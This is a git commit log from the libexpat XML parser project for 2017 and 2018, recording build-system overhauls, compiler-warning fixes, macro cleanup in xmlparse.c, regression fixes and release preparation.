KangLin 1fdfd8a1b4 Add build condition 2018-10-21 14:47:40 +02:00
Sebastian Pipping daeb71d12f Merge branch 'excluded-code-review.marcomaggi-2018-10-21' (#230) 2018-10-21 14:40:33 +02:00
Sebastian Pipping c39d391550 Mark disabled code to make it easy to see again 2018-10-21 14:36:00 +02:00
Marco Maggi 5841ab111b change code exclusion style to make sure that the excluded code still compiles 2018-10-21 14:31:39 +02:00
Sebastian Pipping 27d063d43f Merge branch 'autotools-usage-review.marcomaggi-2018-10-18' (#228) 2018-10-21 14:20:18 +02:00
Sebastian Pipping ffd7fe33dc Changes: Document #228 2018-10-21 14:17:35 +02:00
Sebastian Pipping c477867550 configure.ac: Fix indendation regression in --help output 2018-10-21 14:13:11 +02:00
Marco Maggi 8e64ef849d fixed missing dollar sign in parameter expansion of custom autoconf macro 2018-10-20 20:55:16 +02:00
Marco Maggi c5a8932204 restore the definition of WORDS_BIGENDIAN when the platform is big endian 2018-10-20 13:30:25 +02:00
Marco Maggi 06b02bd25f removed unused AC_PROG_MKDIR_P from configure.ac 2018-10-20 13:16:26 +02:00
Marco Maggi 12733c9026 rewritten check for visibility support by the compiler 2018-10-20 12:57:22 +02:00
Marco Maggi c66e010436 fixed name of autoconf macro file 2018-10-20 12:37:56 +02:00
Marco Maggi 4900bfc0b7 fixed comment in configure.ac 2018-10-19 07:07:06 +02:00
Marco Maggi 925a247db0 prefixed m4 macros in configure.ac 2018-10-18 15:58:31 +02:00
Marco Maggi ee925db9ff clean up of acinclude 2018-10-18 15:49:19 +02:00
Marco Maggi f4698cde13 more flags for the gcc compiler 2018-10-18 14:54:21 +02:00
Marco Maggi 2d8db00d33 better flag variable assignment 2018-10-18 13:30:05 +02:00
Marco Maggi 78646864c9 reorganised check for compiler supporting visibility 2018-10-18 13:27:40 +02:00
Marco Maggi 67342942d6 more autoconf macros for linker flags 2018-10-18 13:06:14 +02:00
Marco Maggi 5556d00f9f reorganised selection of flags for compilers in configure.ac 2018-10-18 13:01:06 +02:00
Marco Maggi 97afdec50d added usage of more autoconf macros (from the autoconf marcros archive) 2018-10-18 12:54:28 +02:00
Marco Maggi d84a5f6caa added use of AX_CHECK_COMPILE_FLAG Autoconf macro 2018-10-18 12:26:04 +02:00
Marco Maggi 633b3a2a50 style fixes in configure.ac 2018-10-18 12:13:03 +02:00
Marco Maggi f41b657299 requires gnu autoconf 2.69 2018-10-18 11:41:40 +02:00
Marco Maggi cf3c2aa084 stopped using ac_c_bigendian_croos in favor of ac_c_bigendian 2018-10-18 11:40:29 +02:00
Marco Maggi 9fb802c7fc started autotools usage overhaul with some configure.ac revision
Modernisation of libtool initialisation.  Use of acinclude.m4 to load
macro definition files.
2018-10-18 11:24:11 +02:00
Mikhail Matrosov 6b0d52543f Remove expat.h from .gitignore (#224)
Since it is actually present in the repository and is used in the build.
2018-10-05 17:14:37 +02:00
Sebastian Pipping 41b0df6d36 Merge branch 'benjaminp-assume-memmove' (fixes #219) 2018-09-20 21:27:18 +02:00
Sebastian Pipping 47ce3ef99c Changes: Document #219, give credit to @benjaminp 2018-09-20 21:26:48 +02:00
Benjamin Peterson fba16e0bfe Assume memmove(3) exists.
memmove is specified since POSIX.1-2001 and C89, and bcopy is deprecated.
2018-09-20 21:24:17 +02:00
Sebastian Pipping 177562e6ba Merge branch 'yugr-issue195' (#197, fixes #195) 2018-09-20 21:19:36 +02:00
Sebastian Pipping fdc4400609 Changes: Document #195 and #197, give credit to @yugr 2018-09-20 21:18:19 +02:00
Yury Gribov 30f8c30b6a Hide private symbols. 2018-09-20 17:45:01 +01:00
Sebastian Pipping cd2078d666 Merge pull request #214 from marcomaggi/fix-travis-minimum-clone-depth.marcomaggi-2018-08-22
set to the bare minimum the depth of git clone in travis ci config
2018-08-22 10:47:24 +02:00
Marco Maggi eea170fba6 set to the bare minimum the depth of git clone in travis ci config 2018-08-22 10:38:56 +02:00
Sebastian Pipping 924978d6fb Merge branch 'userwithuid-cmake-pkgconfig' (#212) 2018-08-22 10:16:50 +02:00
Sebastian Pipping af9e45e778 Changes: Mark GitHub accounts with an "@" prefix 2018-08-22 10:16:00 +02:00
Sebastian Pipping ad30429fe1 Changes: Document #212 2018-08-22 10:14:03 +02:00
userwithuid 23cf8dc612 CMake: Use GNUInstallDirs for pkgconfig too
Fixes i.e. multilib setups on linux

Follow-up to 5681911965
2018-08-21 06:30:48 +00:00
Sebastian Pipping 39e487da35 Prepare release version 2.2.6 (#209) 2018-08-12 21:40:00 +02:00
Sebastian Pipping 62f92a5e1c Bump version info from 7:7:6 to 7:8:6 (#209) 2018-08-12 21:40:00 +02:00
Sebastian Pipping 12732b9f85 tests/.gitignore: Add .log and .trs 2018-08-12 21:40:00 +02:00
Sebastian Pipping 109275dd08 Add script to create signed tarballs for upload (#193) 2018-08-12 21:40:00 +02:00
Sebastian Pipping 070f024f61 Merge branch 'frast-issue207' (#208, fixes #207) 2018-08-12 16:42:52 +02:00
Sebastian Pipping 5aa85a1efc Changes: Document #207 and #208, give credit to @frast 2018-08-12 16:41:35 +02:00
Frank Rast 59fec97670 CMake: Show error if combination of XML_UNICODE, XML_UNICODE_WCHAR_T and BUILD_tools is not supported. 2018-08-10 08:41:16 +02:00
Frank Rast 1a1d1841c0 CMake: Add options XML_UNICODE and XML_UNICODE_WCHAR_T 2018-08-09 09:33:48 +02:00
Frank Rast 53d8e00275 CMake: fix option XML_DEV_URANDOM to use set() 2018-08-09 09:20:51 +02:00
Sebastian Pipping 50f4e1695f Re-add int casts dropped at 3960f6061a (#170)
This is meant to address warning C4244.

> C4244: '=' : conversion from '__int64' to 'int', possible loss of data
> C4244: 'initializing' : conversion from '__int64' to 'int', possible loss of data
2018-08-06 23:05:23 +02:00
Sebastian Pipping 718eac74dc Merge branch 'issue_170_fix' (#206, fixes #170) 2018-08-06 19:59:26 +02:00
Sebastian Pipping 3139a2465f Changes: Document #170 and #206 2018-08-06 19:58:01 +02:00
Rhodri James 3960f6061a (#170) Prevent XML_GetBuffer doing arithmetic with NULL pointers 2018-08-06 19:56:50 +02:00
Rhodri James 428d69cd42 Remove senseless pointer arithmetic (issue #170) 2018-08-06 19:56:50 +02:00
Sebastian Pipping e113a46672 Merge branch 'issue_204_fix' (#205, fixes #204) 2018-08-03 20:32:51 +02:00
Sebastian Pipping 2f720e5ffa Changes: Document #204 and #205
Big thanks to @pointsman and @RMJ10!
2018-08-03 20:31:31 +02:00
Rhodri James 0959d8e409 Revise (according to @hartwork's plan) nearer to original code (#204)
This reverts commit 3f5b1cfa75.
2018-08-03 20:25:40 +02:00
Rhodri James 3f5b1cfa75 Fix for #204, XML_ResumeParser regression
When we suspend at the end of input, we failed to update the
parser's m_processor field to point to the epilogProcessor.  When
the regular contentProcessor runs with no input, it returns an
error (which is what you usually want).  If we had not suspended,
in those circumstances we would have run the epilogProcessor
instead, so we just make sure this is the processor we will invoke
when we resume parsing.
2018-08-03 20:19:05 +02:00
Rhodri James 29bc47d2af Add regression test for issue #204, resume failure on empty input 2018-08-03 20:19:05 +02:00
Sebastian Pipping 135208fad4 Merge branch 'antmak-fix_fallthrough_warn' (#202) 2018-07-08 19:37:59 +02:00
Sebastian Pipping e314feb290 Document #202 2018-07-08 19:36:30 +02:00
Sebastian Pipping 5994e40650 siphash.h: Fix indentation (#202) 2018-07-08 19:36:30 +02:00
Anton Maklakov 7981e23331 Fix -Wimplicit-fallthrough related warnings 2018-07-06 10:12:05 +07:00
Sebastian Pipping 491aa5cbf5 Changes: Document #200 2018-06-30 22:24:18 +02:00
Sebastian Pipping 19bc8f0760 configure.ac: Fix wording (#188) 2018-06-30 22:22:48 +02:00
Sebastian Pipping 8c4c880ef0 configure.ac: Limit SGML docbook2man detection to when it was found (#188) 2018-06-30 22:22:48 +02:00
Sebastian Pipping 2e07759c47 Merge pull request #200 from benjaminp/patch-1
fix capitalization in comment
2018-06-26 20:33:36 +02:00
Benjamin Peterson cc1c5e2ce3 fix capitalization in comment 2018-06-25 21:14:12 -07:00
Sebastian Pipping 867579e41f Support db2x_docbook2man for man page compilation (#188) 2018-02-28 15:07:21 +01:00
Sebastian Pipping 9c5ae30086 Merge branch 'luzpaz-misc-typos' (#190) 2018-02-18 15:56:53 +01:00
Sebastian Pipping 8a0e46999c Changes: Document #190 2018-02-18 15:56:21 +01:00
Sebastian Pipping 7ac1ecfde1 Travis CI: Drop installation of Clang 4
.. as trusty images come with Clang 5 out of the box by now.
2018-02-17 17:26:38 +01:00
Sebastian Pipping fa2f984d1c Travis CI: Unbreak compilation with address sanitizer 2018-02-17 17:25:37 +01:00
luz.paz 5b1584c81d Misc. typos
Found via `codespell -q 3`
2018-02-16 09:47:13 -05:00
Sebastian Pipping 19391f33cc configure.ac: Detect and report SGML docbook2man (#188) 2018-02-14 21:51:29 +01:00
Sebastian Pipping 41fe2b887e expat.h: Fix comment typo (#187) 2018-02-01 21:19:44 +01:00
Sebastian Pipping 8bde051202 Changes: Document #184 2018-01-08 00:57:25 +01:00
Sebastian Pipping 48a372bc92 CMakeLists.txt: Adjust style for readability and consistency (#184) 2018-01-08 00:57:05 +01:00
pedro-vicente cc58946cc8 CMake: Add option MSVC_USE_STATIC_CRT (#184)
to compile as C++/static CRT on Visual Studio
2018-01-08 00:50:31 +01:00
Sebastian Pipping 74877dde28 Changes: Document #181 2018-01-07 23:23:31 +01:00
Tomasz Kłoczko d739e1d0e2 Drop -rpath libtool option as libexpat.so has no dependencies (#181) 2018-01-07 23:23:31 +01:00
Sebastian Pipping a04764dcf0 runtests.c: Support Visual Studio <=9.x/2008 w/o stdint.h (#180)
Same approach as done in `lib/siphash.h`, earlier.
2017-12-27 13:33:46 +01:00
Sebastian Pipping c55d52d466 Merge branch 'DerDakon-CMake-installdirs' (pull request #179) 2017-12-14 20:35:47 +01:00
Rolf Eike Beer 5681911965 CMake: Use GNUInstallDirs module to set proper defaults for install directories 2017-12-14 20:35:04 +01:00
Sebastian Pipping 1a53fcb1dd Merge branch 'DerDakon-Travis-CMake-OOS' (merge request #177) 2017-12-13 20:05:52 +01:00
Rolf Eike Beer c3b63ff202 TravisCI: simplify printing installed files 2017-12-13 20:05:34 +01:00
Rolf Eike Beer d9c3ae1bb1 TravisCI: also test CMake build out of source 2017-12-13 20:05:34 +01:00
Sebastian Pipping e6e45f3c6d Merge branch 'DerDakon-CMake-pc' (merge request #176) 2017-12-13 19:51:18 +01:00
Sebastian Pipping 03fe35ef55 Changes: Document #176 2017-12-13 19:49:54 +01:00
Rolf Eike Beer fa4bf716bd CMake: create the same pkg-config file as the autotools build 2017-12-13 19:48:30 +01:00
Sebastian Pipping b7fbef9950 Changes: Add missing pull request references for 2.2.6 2017-12-13 18:28:00 +01:00
Sebastian Pipping 50d1ae6c28 Merge branch 'issue-165-fix-configure' (issue #165, pull request #168) 2017-12-13 18:17:36 +01:00
Sebastian Pipping a2aa5e3fb6 Merge branch 'bradking-check-symbol-exists' (pull request #175) 2017-12-13 15:11:51 +01:00
Sebastian Pipping bae05371c0 Travis CI: Cover CMake, at least superficially 2017-12-13 15:04:44 +01:00
Brad King 6b3c448153 CMake: Prefer check_symbol_exists over check_function_exists
The `CheckFunctionExists` module documentation recommends using
`CheckSymbolExists` instead.  `check_symbol_exists` verifies that one
can actually include a header file and refer to a symbol.  This is more
robust than just checking whether one can link to a symbol by name.
2017-12-13 07:05:46 -05:00
Sebastian Pipping cd4b1c49c0 Merge branch 'vanklompf-werror' (pull request #174) 2017-12-06 14:31:51 +01:00
Sebastian Pipping 298f93aa3c Changes: Document new CMake option WARNINGS_AS_ERRORS 2017-12-06 14:29:52 +01:00
vanklompf ef64aa331d CMake option to treat warnings as errors 2017-12-04 23:31:10 +01:00
Sebastian Pipping 07584712a0 Changes: Move 2.2.6+ changes where they belong
Added to 2.2.5 by mistake, earlier.
2017-12-04 19:39:45 +01:00
Sebastian Pipping 38d1c9aeb4 Changes: Use vanklompf's real name (#173) 2017-12-04 19:32:48 +01:00
Sebastian Pipping ec8d581b73 Merge branch 'vanklompf-cherry-pick' (issue #131, pr #173) 2017-12-04 00:16:36 +01:00
Sebastian Pipping 5f92189033 Changes: Give credit to vanklompf 2017-12-04 00:15:55 +01:00
Sebastian Pipping f5322b01ac Address 64bit intptr_t loss warning for Visual Studio
Message was:
warning C4244: '=' : conversion from 'intptr_t' to 'int', possible loss of data
2017-12-04 00:15:55 +01:00
Sebastian Pipping 850c0922e1 Address 64bit size_t loss warning for Visual Studio
Message was:
warning C4267: 'argument' : conversion from 'size_t' to 'int'
2017-12-04 00:15:55 +01:00
Sebastian Pipping fc9fe8f17c Address warning about sip_tobin by Visual Studio
Message was:
Warning: C4551 function call missing argument
2017-12-03 17:33:35 +01:00
Sebastian Pipping 9add0e11d4 qa.sh: Start using -Werror
.. in a way that does not break existing configure checks
(e.g. the one for memmove)
2017-12-03 17:18:30 +01:00
Sebastian Pipping 47135a3cca Add Visual Studio const correctness compiler warnings
Warning was:
warning C4090: 'function' : different 'const' qualifiers
2017-12-03 17:15:02 +01:00
vanklompf bc54490e6d Fix missing posix functions declaration on Visual Studio build 2017-12-03 16:31:12 +01:00
vanklompf 399eadd15d Enable CRT_SECURE_NO_WARNINGS in default VC projects
Silence warnings on windows builds
2017-12-03 16:30:58 +01:00
Sebastian Pipping 8e3f402efe Fix configure syntax error (#165) 2017-11-02 22:20:11 +01:00
Sebastian Pipping 86cbbb2e74 Changes: Limit scope of grep -q to autotools build system (#166) 2017-11-02 22:18:11 +01:00
Sebastian Pipping 96dfe50341 Merge branch 'notroj-doc2man' (#167) 2017-11-02 22:17:17 +01:00
Sebastian Pipping e41c222677 Changes: Document #167 2017-11-02 22:16:37 +01:00
Joe Orton b242236c8e Allow configure with DOCBOOK_TO_MAN="xmlto man --skip-validation". 2017-11-02 22:11:49 +01:00
Sebastian Pipping 622da3af18 Avoid grep option -q for Solaris (#166)
Also utilize variable ${FGREP} set by configure
2017-11-02 21:37:38 +01:00
Sebastian Pipping 336b921708 Changes: Document upgrade to Visual Studio 2017
Related commit: a1f553f5f5
2017-11-01 19:36:06 +01:00
Karl Waclawek 968b8cc46d Improved Win32 setup file name. 2017-11-01 10:47:55 -04:00
Karl Waclawek 99c17d3b98 Simplified version number updating in setup file for Win32. Fixed Copyright character for UTF-8. 2017-11-01 10:43:36 -04:00
Karl Waclawek a1f553f5f5 Auto-upgrade of project files performed by Visual Studio 2017. This should not be a problem as the Community Edition of VS 2017 can be obtained for free. 2017-11-01 10:09:14 -04:00
Sebastian Pipping 5f9bc4836f Prepare release version 2.2.5 (#133) 2017-10-31 17:20:31 +01:00
Sebastian Pipping 824b9efe25 Extend .gitignore 2017-10-31 17:20:31 +01:00
Sebastian Pipping 0a6b7d2f31 Bump version info from 7:6:6 to 7:7:6 (#133) 2017-10-27 20:05:59 +02:00
Sebastian Pipping 0f5186c7b8 Support docbook-to-man command, e.g. for openSUSE (#153) 2017-10-27 19:47:08 +02:00
Sebastian Pipping 6fe62b6cbc Merge branch 'zmodem-ErrorString_switch' (pull request #162) 2017-10-25 14:13:56 +02:00
Sebastian Pipping c227d90984 Changes: Document lack of XML_ERROR_INVALID_ARGUMENT message 2017-10-25 14:12:57 +02:00
Sebastian Pipping 4cf92e08cf xmlparse.c: Add version information to XML_ErrorString messages
.. based on comments from enum XML_Error in expat.h.
2017-10-25 14:09:23 +02:00
Hans Wennborg 5ae72360c6 XML_ErrorString: handle XML_ERROR_INVALID_ARGUMENT
Previously, this enum didn't have any error string.
2017-10-25 13:42:44 +02:00
Hans Wennborg 0ab7640bd9 Rewrite XML_ErrorString to use a switch
This makes it a little easier to correlate each enumerator with its
error message, and the compiler should generate a lookup table anyway.

It also avoids running into Clang's -Wsign-compare warning when building
on Windows (where enum's are signed ints):

  error: comparison of integers of different signs: 'enum XML_Error'
  and 'unsigned int' [-Werror,-Wsign-compare]
  if (code > 0 && code < sizeof(message)/sizeof(message[0]))
                  ~~~~ ^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

We ran into this when building Chromium on Windows using a recent version of
Clang.
2017-10-25 13:42:44 +02:00
Sebastian Pipping 5c224d67ec xmlparse.c: Make failproof entropy providers stand out more 2017-10-24 22:50:01 +02:00
Sebastian Pipping a80b209884 xmlparse.c: Address warning about unused functions (#161) 2017-10-24 22:46:30 +02:00
Sebastian Pipping 535047b10c Tests: Fix CPPFLAGS=-DNDEBUG ourselves (#160) 2017-10-24 21:41:18 +02:00
Sebastian Pipping 521657d353 Merge branch 'stephengroat-fix-docbook' (pull request #155) 2017-10-21 20:01:20 +02:00
Sebastian Pipping 68bf904027 Changes: Document #153 and #155 2017-10-21 19:55:32 +02:00
Sebastian Pipping b1ca18f795 doc/Makefile.am: Round braces for style 2017-10-21 19:50:55 +02:00
Sebastian Pipping 8fa1d0e7cd doc/Makefile.am: Fix mis-use of variable
We want to delete all generated man pages, not all distributed ones.
2017-10-21 19:50:27 +02:00
Sebastian Pipping b49e3f907e configure.ac: Improve documentation of --with(out)-docbook 2017-10-21 19:48:23 +02:00
Sebastian Pipping 7c62246abc configure.ac: Allow for custom docbook2x-man command
Example:
./configure DOCBOOK_TO_MAN=/bin/true
2017-10-21 19:44:16 +02:00
Sebastian Pipping 9ec95b7605 doc/Makefile.am: Improve scope of docbook2man availability
.. so that "make dist" has no chance of shipping no manpage
or and outdated one.
2017-10-21 19:40:14 +02:00
Stephen Groat cb7d430d22 Fix docbook 2017-10-21 19:23:48 +02:00
Sebastian Pipping 05ea069bec Merge branch 'pr-150-pepone-master' (#150, fixes #147) 2017-10-05 00:03:45 +02:00
Sebastian Pipping f75a40cbae xmlwf|tests: Repeat L string prefix to fix compilation 2017-10-04 22:55:42 +02:00
Sebastian Pipping 31bdf3025b xmlwf/xmltchar.h: Make T(..) support T(XML_FMT_INT_MOD) 2017-10-04 21:29:35 +02:00
Sebastian Pipping 41cc68cb67 xmlwf.c: Fix code indentation 2017-10-04 21:14:10 +02:00
Jose 81040a6164 Add XML_UNICODE_WCHAR_T builds to appveyor build matrix
See issue [#147](https://github.com/libexpat/libexpat/issues/147)
2017-10-04 21:11:01 +02:00
Sebastian Pipping 025edea252 Merge branch 'tbeu-fix-typos' (pull request #154) 2017-10-02 21:58:06 +02:00
tbeu c2f16c5926 Fix typos and add ICPSR full name 2017-10-02 21:54:52 +02:00
Sebastian Pipping 177eb6bbb9 README.md: Use pseudo-organization AppVeyor account 2017-09-16 01:03:18 +02:00
Sebastian Pipping a0567a38c2 loadlibrary.c: Exclude line from coverage
.. as it seems that something in Windows/Wine would need to be off
to execute it.
2017-09-11 17:11:29 +02:00
Sebastian Pipping 3240718240 Fix test suite for --disable-xml-context (#146)
Regression from bc6468d230
2017-09-11 15:29:57 +02:00
Sebastian Pipping 02583d728f Merge branch 'unicode-xmlwf' (pull request #144 and more) 2017-09-09 19:24:49 +02:00
Sebastian Pipping 4bad01f941 udiffer.py: Ship with tarballs 2017-09-09 19:20:40 +02:00
Sebastian Pipping 9f166f82e8 runtests.c: Fix compilation for undefined XML_CONTEXT_BYTES
Regression from 70d19d635a

Compile error was:
  runtests.c: In function ‘byte_character_handler’:
  runtests.c:4195:11: error: ‘s’ undeclared (first use in this function)
       (void)s;
2017-09-09 19:13:21 +02:00
Sebastian Pipping bc7d690203 Changes: Mention #144 2017-09-09 18:59:29 +02:00
Sebastian Pipping 21df4d3064 coverage.sh: Support XML_UNICODE_WCHAR_T with MinGW 2017-09-09 18:59:29 +02:00
Sebastian Pipping 7b3f902a69 Make wmain work with MinGW 2017-09-09 18:59:29 +02:00
Sebastian Pipping d1a4212992 coverage.sh: Migrate to GNU Automake (#65) 2017-09-09 18:59:29 +02:00
Sebastian Pipping 3efafceb60 udiffer.py: Improve overall structure 2017-09-09 18:21:18 +02:00
Sebastian Pipping 7c0f6d71cc udiffer.py: Extract function to resolve code duplication 2017-09-09 18:21:18 +02:00
Sebastian Pipping 7f768b5068 udiffer.py: Add license header 2017-09-09 18:21:18 +02:00
Rhodri James fec399291e Make xmltest.sh script work for UTF-16 builds 2017-09-09 18:21:18 +02:00
Sebastian Pipping df75ab14f4 xmlwf: Indent preprocessor code 2017-09-09 18:21:18 +02:00
Rhodri James 71b533dae1 Fix file access for xmlwf compiled with XML_UNICODE_WCHAR_T on MinGW 2017-09-04 14:29:39 +01:00
Rhodri James 742fbf024f Make xmlwf build with XML_UNICODE_WCHAR_T on MinGW
This seems to need some extra mangling of Makefile.am for MinGW.

  * Add "-mwindows" to AM_CPPFLAGS
  * Add "AM_LDFLAGS = -municode"

Running the XML tests (xmltest.sh) is problematic: it needs a
unicode-aware differ for starters
2017-09-04 14:29:39 +01:00
Sebastian Pipping 56b64ca040 Changes: Document fix to #59 2017-09-03 02:13:03 +02:00
Sebastian Pipping d51b33a6af Merge branch 'resolve-parser-hiding-macros' 2017-09-03 02:03:37 +02:00
Sebastian Pipping a6f25bc39f xmlparse.c: Stop malloc/realloc/free macros from hiding parser (issue #59) 2017-09-03 02:00:23 +02:00
Sebastian Pipping 598be69685 xmlparse.c: Resolve macro "buffer" (issue #59) 2017-09-03 01:51:56 +02:00
Sebastian Pipping 66f64e58f8 xmlparse.c: Resolve macro "encoding" (issue #59) 2017-09-03 01:48:17 +02:00
Sebastian Pipping 9cc3ded1b8 xmlparse.c: Resolve macro "defaultExpandInternalEntities" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping fe9deeeb79 xmlparse.c: Resolve macro "unknownEncodingHandlerData" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping 89017e2b1f xmlparse.c: Resolve macro "internalEntityRefHandler" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping 71950e96be xmlparse.c: Resolve macro "externalEntityRefHandlerArg" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping 28fd39ca7d xmlparse.c: Resolve macro "externalEntityRefHandler" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping a0d9d36652 xmlparse.c: Resolve macro "startNamespaceDeclHandler" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping 6472431ab7 xmlparse.c: Resolve macro "unparsedEntityDeclHandler" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping 588570c96f xmlparse.c: Resolve macro "startCdataSectionHandler" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping f71b05f38a xmlparse.c: Resolve macro "processingInstructionHandler" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping 01ab82f496 xmlparse.c: Resolve macro "hash_secret_salt" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping a436b94582 xmlparse.c: Resolve macro "paramEntityParsing" (issue #59) 2017-09-03 01:42:25 +02:00
Sebastian Pipping c1040d02fa xmlparse.c: Resolve macro "useForeignDTD" (issue #59) 2017-09-03 01:32:36 +02:00
Sebastian Pipping 52b69d2905 xmlparse.c: Resolve macro "isParamEntity" (issue #59) 2017-09-03 01:32:04 +02:00
Sebastian Pipping 7c3ece72fa xmlparse.c: Resolve macro "ps_finalBuffer" (issue #59) 2017-09-03 01:31:23 +02:00
Sebastian Pipping 3ceec918be xmlparse.c: Resolve macro "ps_parsing" (issue #59) 2017-09-03 01:30:24 +02:00
Sebastian Pipping 8ed0c56ee3 xmlparse.c: Resolve macro "parentParser" (issue #59) 2017-09-03 01:28:40 +02:00
Sebastian Pipping c4e5c7e0a6 xmlparse.c: Resolve macro "namespaceSeparator" (issue #59) 2017-09-03 01:27:37 +02:00
Sebastian Pipping 530a5ff6d9 xmlparse.c: Resolve macro "groupSize" (issue #59) 2017-09-03 01:26:32 +02:00
Sebastian Pipping d86272dba9 xmlparse.c: Resolve macro "groupConnector" (issue #59) 2017-09-03 01:25:46 +02:00
Sebastian Pipping 71afbbcf42 xmlparse.c: Resolve macro "temp2Pool" (issue #59) 2017-09-03 01:25:10 +02:00
Sebastian Pipping 0729b1c426 xmlparse.c: Resolve macro "tempPool" (issue #59) 2017-09-03 01:23:52 +02:00
Sebastian Pipping e70777aabe xmlparse.c: Resolve macro "attInfo" (issue #59) 2017-09-03 01:23:02 +02:00
Sebastian Pipping c061614a1c xmlparse.c: Resolve macro "nsAttsPower" (issue #59) 2017-09-03 01:22:33 +02:00
Sebastian Pipping 1a8f6a0dae xmlparse.c: Resolve macro "nsAttsVersion" (issue #59) 2017-09-03 01:20:52 +02:00
Sebastian Pipping 2447802e49 xmlparse.c: Resolve macro "nsAtts" (issue #59) 2017-09-03 01:20:13 +02:00
Sebastian Pipping e005b828e1 xmlparse.c: Resolve macro "idAttIndex" (issue #59) 2017-09-03 01:15:57 +02:00
Sebastian Pipping 52fed1f414 xmlparse.c: Resolve macro "nSpecifiedAtts" (issue #59) 2017-09-03 01:14:48 +02:00
Sebastian Pipping 4c03de1c88 xmlparse.c: Resolve macro "attsSize" (issue #59) 2017-09-03 01:12:46 +02:00
Sebastian Pipping fd7102c7d2 xmlparse.c: Resolve macro "atts" (issue #59) 2017-09-03 01:11:59 +02:00
Sebastian Pipping 5d2a89149c xmlparse.c: Resolve macro "tagStack" (issue #59) 2017-09-03 01:11:59 +02:00
Sebastian Pipping 76a5a5939a xmlparse.c: Resolve macro "inheritedBindings" (issue #59) 2017-09-03 01:11:59 +02:00
Sebastian Pipping cefb16f3fc xmlparse.c: Resolve macro "freeBindingList" (issue #59) 2017-09-03 01:11:59 +02:00
Sebastian Pipping fcb7cf066c xmlparse.c: Resolve macro "freeTagList" (issue #59) 2017-09-03 01:11:59 +02:00
Sebastian Pipping cde2d9a01e xmlparse.c: Resolve macro "declAttributeIsId" (issue #59) 2017-09-03 00:52:53 +02:00
Sebastian Pipping 09768034fd xmlparse.c: Resolve macro "declAttributeIsCdata" (issue #59) 2017-09-03 00:48:06 +02:00
Sebastian Pipping b411084c2c xmlparse.c: Resolve macro "declAttributeId" (issue #59) 2017-09-03 00:47:02 +02:00
Sebastian Pipping 60274e52d4 xmlparse.c: Resolve macro "declElementType" (issue #59) 2017-09-03 00:41:28 +02:00
Sebastian Pipping 0d550b813a xmlparse.c: Resolve macro "declNotationPublicId" (issue #59) 2017-09-03 00:40:24 +02:00
Sebastian Pipping 2eb6f725b3 xmlparse.c: Resolve macro "declNotationName" (issue #59) 2017-09-03 00:39:21 +02:00
Sebastian Pipping 8117ff68f4 xmlparse.c: Resolve macro "declAttributeType" (issue #59) 2017-09-03 00:38:29 +02:00
Sebastian Pipping 65e5980031 xmlparse.c: Resolve macro "doctypePubid" (issue #59) 2017-09-03 00:38:07 +02:00
Sebastian Pipping db555b2417 xmlparse.c: Resolve macro "doctypeSysid" (issue #59) 2017-09-03 00:36:25 +02:00
Sebastian Pipping 2966694ae2 xmlparse.c: Resolve macro "doctypeName" (issue #59) 2017-09-03 00:35:59 +02:00
Sebastian Pipping 20545d2a12 xmlparse.c: Resolve macro "declEntity" (issue #59) 2017-09-03 00:34:10 +02:00
Sebastian Pipping 6e24ac372a xmlparse.c: Resolve macro "curBase" (issue #59) 2017-09-03 00:32:19 +02:00
Sebastian Pipping 6ac5f768bd xmlparse.c: Resolve macro "_dtd" (issue #59) 2017-09-03 00:31:18 +02:00
Sebastian Pipping 1ef03d288a xmlparse.c: Resolve macro "dataBufEnd" (issue #59) 2017-09-03 00:29:06 +02:00
Sebastian Pipping 99ab4fbdcf xmlparse.c: Resolve macro "dataBuf" (issue #59) 2017-09-03 00:28:05 +02:00
Sebastian Pipping b656569973 xmlparse.c: Resolve macro "bufferLim" (issue #59) 2017-09-03 00:27:23 +02:00
Sebastian Pipping 7141b719f1 xmlparse.c: Resolve macro "parseEndPtr" (issue #59) 2017-09-03 00:26:52 +02:00
Sebastian Pipping 2b691a21a6 xmlparse.c: Resolve macro "parseEndByteIndex" (issue #59) 2017-09-03 00:26:10 +02:00
Sebastian Pipping a8faa471f9 xmlparse.c: Resolve macro "bufferEnd" (issue #59) 2017-09-03 00:25:27 +02:00
Sebastian Pipping eabed9b164 xmlparse.c: Resolve macro "bufferPtr" (issue #59) 2017-09-03 00:24:31 +02:00
Sebastian Pipping 17c73855d9 xmlparse.c: Resolve macro "tagLevel" (issue #59) 2017-09-03 00:23:38 +02:00
Sebastian Pipping 193783c095 xmlparse.c: Resolve macro "freeInternalEntities" (issue #59) 2017-09-03 00:23:06 +02:00
Sebastian Pipping b84e49e9b0 xmlparse.c: Resolve macro "openInternalEntities" (issue #59) 2017-09-03 00:21:57 +02:00
Sebastian Pipping 7d8b97c63c xmlparse.c: Resolve macro "position" (issue #59) 2017-09-03 00:20:03 +02:00
Sebastian Pipping b38e99e5dc xmlparse.c: Resolve macro "positionPtr" (issue #59) 2017-09-03 00:19:24 +02:00
Sebastian Pipping ac74e35ef5 xmlparse.c: Resolve macro "eventEndPtr" (issue #59) 2017-09-03 00:18:42 +02:00
Sebastian Pipping 9bdd4f8735 xmlparse.c: Resolve macro "eventPtr" (issue #59) 2017-09-03 00:17:25 +02:00
Sebastian Pipping 6d7127b954 xmlparse.c: Resolve macro "errorCode" (issue #59) 2017-09-03 00:16:18 +02:00
Sebastian Pipping 7cabfa8d51 xmlparse.c: Resolve macro "processor" (issue #59) 2017-09-03 00:15:42 +02:00
Sebastian Pipping a7c6fd0bea xmlparse.c: Resolve macro "prologState" (issue #59) 2017-09-03 00:13:15 +02:00
Sebastian Pipping 9c38288e92 xmlparse.c: Resolve macro "ns_triplets" (issue #59) 2017-09-03 00:12:49 +02:00
Sebastian Pipping 96a896c0ac xmlparse.c: Resolve macro "ns" (issue #59) 2017-09-03 00:12:13 +02:00
Sebastian Pipping 8b1f11301c xmlparse.c: Resolve macro "protocolEncodingName" (issue #59) 2017-09-03 00:11:22 +02:00
